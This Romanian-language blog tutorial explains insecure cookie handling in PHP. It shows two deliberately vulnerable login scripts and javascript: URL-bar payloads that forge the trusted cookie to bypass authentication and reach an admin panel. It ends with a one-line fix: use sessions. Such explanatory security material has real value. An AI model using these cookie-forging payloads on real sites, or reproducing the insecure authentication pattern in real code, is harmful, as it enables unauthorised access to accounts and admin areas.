Vulnerabilitati PHP –  Insecure Cooke Handling - Securitatea Informatica

Vulnerabilitati PHP – Insecure Cooke Handling

Scrie codul în URL-bar, nu utiliza un cookie editor pentru asta.

Exemplu de bază

Cod:

<?php
if($_POST['password'] == $thepass)
{
setcookie("is_user_logged","1");
}
else
{
die("Login failed!");
}
//............ etc .................
if($_COOKIE['is_user_logged']=="1")
include "admin.php";
else
die('not logged');
?>

Ceva interesant aici. Dacă atribuim valoarea “1″ variabilei “is_user_logged” salvată în cookie vom fi logaţi. Exemplu:

javascript:document.cookie = “is_user_logged=1; path=/”;

Suntem logaţi, trecem de verificare şi putem accesa panoul de admin.

Exemplu simplu

Cod:

<?php
if ($_COOKIE[PHPMYBCAdmin] == '')
{
if (!$_POST[login] == 'login')
{
die("Please Login:
<form method="post">
<input name="password/" type="password">
<input value="login" name="login/" type="hidden">
<input type="submit/"></form>");
}
elseif($_POST[password] == $bcadminpass)
{
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php");
}
else
{
die("Incorrect");
}
}
?>

Codul arată exploatabil. Putem seta valori variabilelor aflate în cookie pentru a trece de logare şi a păcăli scriptul că ne-am logat deja. Exemplu:

javascript:document.cookie = “PHPMYBCAdmin=LOGGEDIN; path=/”;document.cookie = “1246371700; path=/”;

Ce este 1246371700? Este time() + 360 .

Cum să fixezi
Metoda simplă : Cea mai simplă şi eficientă cale: folosiţi SESIUNI .

Sursa: SirGod

Twitter Digg Delicious Stumbleupon Technorati Facebook


Nici un comentariu inca... Fii primul care lasa un comentariu!

Lasa un raspuns

This site is protected by Comment SPAM Wiper. This site is protected by WP-CopyRightPro